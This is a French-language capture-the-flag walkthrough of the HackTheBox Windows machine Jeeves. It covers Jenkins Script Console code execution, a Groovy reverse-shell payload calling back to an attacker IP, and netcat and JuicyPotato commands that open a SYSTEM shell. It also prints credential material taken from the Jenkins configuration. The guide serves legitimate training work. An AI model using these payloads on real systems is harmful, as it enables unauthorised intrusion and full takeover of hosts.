> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md). # Rédaction HackTheBox Jeeves Rédaction HackTheBox de la machine Windows Jeeves de difficulté moyenne couvrant l’exécution de code à distance via la console Script de Jenkins, les shells inverses Groovy, JuicyPotato, SeImpersonatePrivilege et les flux de données alternatifs. {% embed url="" %} {% hint style="warning" %} **Compétences** * Énumération du réseau et des services web avec Nmap et Gobuster. * Exécution de code à distance via la Script Console de Jenkins à l’aide de Groovy. * Élévation de privilèges Windows avec `SeImpersonatePrivilege` et JuicyPotato. * Découverte et extraction de flux de données alternatifs NTFS. {% endhint %} ### Reconnaissance #### Préparer l’espace de travail

#### Identifier le système d’exploitation La valeur TTL de `128` indique un hôte Windows.

#### Analyser les ports ouverts Exécuter une analyse TCP SYN complète : ```bash sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.129.228.112 -oG allPorts ``` L’analyse identifie les ports `80`, `135`, `445`, et `50000`.

Exécuter une détection ciblée des services et des versions : ```bash nmap -sCV -p80,135,445,50000 10.129.228.112 -oN targeted ```

#### Inspecter le service web Port `50000` s’identifie comme Jetty : `Propulsé par Jetty:// 9.4.z-SNAPSHOT`

Énumérer les chemins web : ```bash gobuster dir -w `fzf-wordlists` -u http://10.129.228.112:50000 -t 100 ```

Le `/askjeeves` le chemin héberge Jenkins `2.87`.

### Accès initial #### Utiliser la Script Console de Jenkins Ouvrir la **Script Console** à `/askjeeves/script`. Elle accepte du code Groovy et l’exécute sur l’hôte Jenkins.

Exécuter une commande inoffensive pour confirmer l’exécution de code : ```groovy def process = "PowerShell.exe cmd.exe /c dir".execute() println "Found text ${process.text}" ``` La sortie de la commande confirme l’exécution de code à distance.

#### Obtenir un shell inversé Démarrez un écouteur sur le port `443`: ```bash sudo rlwrap nc -nvlp 443 ``` Exécutez ce payload Groovy dans la Script Console. Remplacez l’adresse et le port de rappel si nécessaire. {% code overflow="wrap" %} ```groovy Thread.start { String host="10.10.15.2"; int port=443; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); } ``` {% endcode %} L’écouteur reçoit un shell en tant que `kohsuke`.

#### Examiner les identifiants Jenkins La configuration Jenkins contient un jeton API chiffré : {% code overflow="wrap" %} ```bash AQAAABAAAAAwID3cR3pyZaEkaDPU25Z0S+nrU8+gDgB0JEWORJ5L1P2T+zXc/tSs2IVn1ugWLaui54D6yYki4vhXQtGhqUSeFw== ``` {% endcode %} Elle stocke également le mot de passe administrateur sous forme de hachage BCrypt : {% code overflow="wrap" %} ```bash $2a$10$QyIjgAFa7r3x8IMyqkeCluCB7ddvbR7wUn1GmFJNO2jQp2k8roehO ``` {% endcode %}

#### Récupérer le flag utilisateur {% code overflow="wrap" %} ```bash type C:\Users\kohsuke\Desktop\user.txt ``` {% endcode %}

### Élévation de privilèges #### Transférer les outils nécessaires Héberger les fichiers depuis la machine de l’attaquant : {% code overflow="wrap" %} ```bash smbserver.py share $(pwd) -smb2support ``` {% endcode %} Copier `nc.exe` et JuicyPotato vers la cible : {% code overflow="wrap" %} ```bash copy \\10.10.15.2\share\nc.exe C:\Users\kohsuke\Downloads\nc.exe ``` {% endcode %} ```bash copy \\10.10.15.2\share\JuicyPotato.exe C:\Users\kohsuke\Downloads\JuicyPotato.exe ```

#### Exploiter `SeImpersonatePrivilege` Démarrer un écouteur pour le shell avec privilèges élevés : {% code overflow="wrap" %} ```bash rlwrap nc -nlvp 4444 ``` {% endcode %} Exécuter JuicyPotato pour lancer `nc.exe` en tant que `NT AUTHORITY\SYSTEM`: {% code overflow="wrap" %} ```bash .\JuicyPotato.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/kohsuke/Downloads/nc.exe -e cmd 10.10.15.2 4444" ``` {% endcode %} Le callback s’exécute en tant que `NT AUTHORITY\SYSTEM`.

### Flag root Lister les flux de données alternatifs dans le répertoire du bureau de l’administrateur : ```cmd cd C:\Users\Administrator\Desktop dir /r ``` La sortie montre le flag dans le `hm.txt:root.txt:$DATA` flux. Le lire directement : ```bash more < hm.txt:root.txt:$DATA ``` Cela termine la machine en tant que `NT AUTHORITY\SYSTEM`.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.